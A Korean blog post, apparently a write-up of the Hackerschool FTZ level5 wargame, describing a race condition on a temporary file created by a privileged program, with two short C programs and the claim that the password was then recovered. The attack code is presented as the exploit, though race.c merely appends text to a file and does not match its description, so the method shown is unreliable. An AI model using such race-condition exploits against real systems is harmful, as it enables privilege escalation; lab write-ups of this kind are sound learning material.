level5

 

 힌트를 확인해보았다. /usr/bin/level5 프로그램이 /tmp에 level5.tmp 파일을 생성한다고 하여서 먼저 프로그램을 실행시킨 후 확인해보았다.

 

 프로그램을 실행시킨 후 폴더를 확인해봤지만 파일이 존재하지 않았다. level5 프로그램은 임시 파일을 생성한 후, 곧바로 파일을 다시 삭제시키는 것 같았다. 

 

 

 race.c와 create.c 프로그램을 작성하여 컴파일했다. race.c는 레이스 컨디션을 하는 코드이고, create.c는 /usr/bin/level5 프로그램을 무한으로 실행하는 코드이다. 이때 레이스 컨디션이란 한정된 자원을 동시에 이용하려는 여러 프로세스가 자원의 이용을 위해 경쟁을 벌이는 현상이다. 레이스 컨디션 코드는 구글링을 하여 찾아 작성했다. 

 

// race.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>

int main(int argc, char *argv[])
{
struct stat st;
FILE *fp;

if(argc != 3)
{
fprintf(stderr, "usage: %s file\n", argv[0]);
exit(EXIT_FAILURE);
}

if((fp = fopen(argv[1], "a")) == NULL)
{
fprintf(stderr, "Can't open");
exit(EXIT_FAILURE);
}

fprintf(fp, "%s\n", argv[2]);
fclose(fp);
fprintf(stderr, "Write OK\n");
exit(EXIT_SUCCESS);
}


// create.c
#include <stdio.h>
int main() {
while(1)
system("/usr/bin/level5");
}

 

 create 프로그램을 백그라운드로 실행한 후 레이스 컨디션 프로그램을 실행했다. 그리고 생성된 level5.tmp 파일을 확인해보니 password가 적혀있었다. 

 

 

what the hell

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level7  (0) 2020.08.22
해커스쿨 FTZ level16  (0) 2020.08.20
해커스쿨 FTZ level4  (0) 2020.08.08
해커스쿨 FTZ level3  (0) 2020.08.06
해커스쿨 FTZ level2  (0) 2020.08.01